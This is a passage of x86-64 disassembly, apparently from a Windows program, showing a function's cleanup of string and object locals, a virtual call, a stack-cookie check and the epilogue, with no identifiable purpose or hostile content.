lea rcx, [rbp + 0x208]
call fcn.140004a84
test al, al
je 0x140006073
call fcn.140003598
cmp qword [rbp - 0x68], 8
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x60]
cmovae r8, qword [rbp - 0x80]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
call fcn.140004c20
xor r8d, r8d
lea rcx, [rbp + 0x208]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0x228]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0x68]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0x88]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rbp + 0xa8]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0xc8]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rbp + 0xe8]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0x108]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rbp + 0x128]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0x148]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rbp + 0x168]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0x188]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rbp + 0x1a8]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0x1c8]
mov dl, 1
call fcn.1400067f8
xor r8d, r8d
lea rcx, [rbp + 0x1e8]
mov dl, 1
call fcn.140006994
xor r8d, r8d
lea rcx, [rbp + 0x48]
mov dl, 1
call fcn.1400067f8
test rbx, rbx
je 0x140006190
mov rax, qword [rbx]
mov edx, 1
mov rcx, rbx
call qword [rax + 0x18]
lea rcx, [rbp + 0x30]
call fcn.140006264
xor r8d, r8d
lea rcx, [rbp - 0x40]
mov dl, 1
call fcn.140006994
lea rcx, [rbp - 0x18]
call fcn.140006264
jmp 0x140006200
call fcn.140003598
cmp qword [rbp - 0x68], 8
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x60]
cmovae r8, qword [rbp - 0x80]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
call fcn.140004c20
jmp 0x140006205
call fcn.140003598
cmp qword [rbp - 0x68], 8
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x60]
cmovae r8, qword [rbp - 0x80]
cmp qword [rbp - 0x48], 8
cmovae rdx, qword [rbp - 0x60]
call fcn.140004c20
mov edi, 1
xor r8d, r8d
lea rcx, [rbp - 0x80]
mov dl, 1
call fcn.1400067f8
lea rcx, [rbp]
call fcn.140006264
xor r8d, r8d
lea rcx, [rbp - 0x60]
mov dl, 1
call fcn.1400067f8
lea rcx, [rbp + 0x18]
call fcn.140006264
mov eax, edi
mov rcx, qword [rbp + 0x980]
xor rcx, rsp
call fcn.140035270
lea r11, [rsp + 0xa90]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r15, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret